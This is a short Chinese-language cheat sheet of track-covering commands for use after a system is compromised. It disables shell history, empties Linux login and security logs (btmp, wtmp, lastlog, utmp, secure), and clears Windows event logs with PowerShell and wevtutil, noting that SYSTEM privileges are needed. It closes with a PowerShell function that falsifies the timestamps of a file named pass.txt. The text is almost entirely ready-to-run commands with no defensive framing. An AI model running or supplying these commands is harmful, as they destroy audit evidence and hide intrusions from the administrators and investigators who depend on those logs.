unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
第一种方式:清空日志文件 清除登录系统失败的记录:
[root@centos]# echo > /var/log/btmp
[root@centos]# lastb //查询不到登录失败信息
清除登录系统成功的记录:
[root@centos]# echo > /var/log/wtmp
[root@centos]# last //查询不到登录成功的信息
清除相关日志信息:
清除用户最后一次登录时间:echo > /var/log/lastlog #lastlog命令
清除当前登录用户的信息:echo > /var/log/utmp #使用w,who,users等命令
清除安全日志记录:cat /dev/null > /var/log/secure
清除系统日志记录:cat /dev/null > /var/log/message
前提目标是 system 权限
eventvwr
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
Function edit_time($path){$date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item $path).lastaccesstime=$date1.LastWriteTime;
$(Get-Item $path).creationtime=$date2.LastWriteTime ;
$(Get-Item $path).lastwritetime=$date3.LastWriteTime};
edit_time("C:\Users\saulGoodman\Desktop\工具包\pass.txt")